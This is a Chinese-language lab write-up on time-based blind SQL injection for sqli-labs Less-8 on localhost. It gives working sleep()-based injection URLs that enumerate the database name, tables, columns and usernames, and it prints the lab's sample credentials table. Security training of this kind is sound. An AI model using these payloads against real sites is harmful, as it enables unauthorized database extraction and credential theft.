sql注入——时间盲注

场景

sql-labs:Less-8 盲注

一、主要运用的mysql语法

if(condition,A,B) 如果条件 condition 为 true , 则执行语句A 否则执行语句B

以下语句中涉及到的 left() substr() ascii()...等函数解释，
点击下面的链接！（就不重写了哈）

其他基础语法解释参照——>

mysql> select if(1<2,4,5);
+-------------+
| if(1<2,4,5) |
+-------------+
|           4 |
+-------------+

mysql> select if(ascii(substr((select database()),1,1))>10,1,0);
+---------------------------------------------------+
| if(ascii(substr((select database()),1,1))>10,1,0) |
+---------------------------------------------------+
|                                                 1 |
+---------------------------------------------------+

二、进入正题 Less-8:

以 security 为例！
security库 ascii(‘s’)=115

测试判断：
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and%20sleep(5)%20--+

2.1 查看当前数据库

*length()函数：
and if(length((select database()))=8,1,sleep(5)) --+
如果当前数据库名长度为8，则立即显示页面，否中延迟5s
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(length((select database()))=8,1,sleep(5)) --+

* left() substr() ascii()...
and if(left(database(),1)='s',1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(left(database(),1)='s',1,sleep(5)) --+

and if(substr((select database()),1,1)='s',1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(substr((select database()),1,1)='s',1,sleep(5)) --+

and if(ascii(substr((select database()),1,1))>100,1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(ascii(substr((select database()),1,1))>100,1,sleep(5)) --+

2.2 查询当前数据库中的表名

mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+

2.2.1 利用 count() 判断出表的数量

*count()函数:
and if((select count(table_name) from information_schema.tables where table_schema='security')=4,1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if((select count(table_name) from information_schema.tables where table_schema='security')=4,1,sleep(5)) --+

2.2.2 利用 length() 遍历并判断出每个表的名字长度

*length()函数:
and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,1,sleep(5)) --+

2.2.3 遍历并判断出表名

* left() substr() ascii()...
and if(left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='e',1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='ex',1,sleep(5)) --+

and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(5)) --+

and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5)) --+

2.2.4 查询users表里的列名：

mysql> select column_name from information_schema.columns where table_schema='security' and table_name='users';
+-------------+
| COLUMN_NAME |
+-------------+
| id          |
| password    |
| username    |
+-------------+

//ascii('i')=105
*count()函数 判断出有几列
and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,1,sleep(5)) --+

*length()函数: 判断出每个列名长度
and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,1,sleep(5)) --+

* left() substr() ascii()... 遍历并判断出列名
and if(left((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1)='i',1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(left((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1)='i',1,sleep(5))  --+

and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',1,sleep(5))  --+

and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+

2.2.3 查询 users 表里 username 列信息

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 13 | admin4   | admin4     |
| 14 | admin5   | admin5     |
+----+----------+------------+

以username为例

*count()函数: 判断出有多少行数据
and if((select count(username) from security.users)=14,1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if((select count(username) from security.users)=15,1,sleep(5)) --+

*length()函数: 判断出每行的数据长度
and if(length((select username from security.users limit 0,1))=4,1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(length((select username from security.users limit 0,1))=4,1,sleep(5)) --+

* left() substr() ascii()...  判断出每行的数据
and if(left((select username from security.users limit 0,1),1)='D',1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(left((select username from security.users limit 0,1),1)='D',1,sleep(5)) --+

and if(substr((select username from security.users limit 0,1),1,1)='D',1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(substr((select username from security.users limit 0,1),1,1)='D',1,sleep(5)) --+

ascii('D')=68
and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27 and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,1,sleep(5)) --+

至此 sql-labs中 Less-8盲注 利用时间盲注解释完毕！
我的sql-labs是改版后的sqli-labs！
所以我也贴出了 and …语句拼接！[Hava a good day!]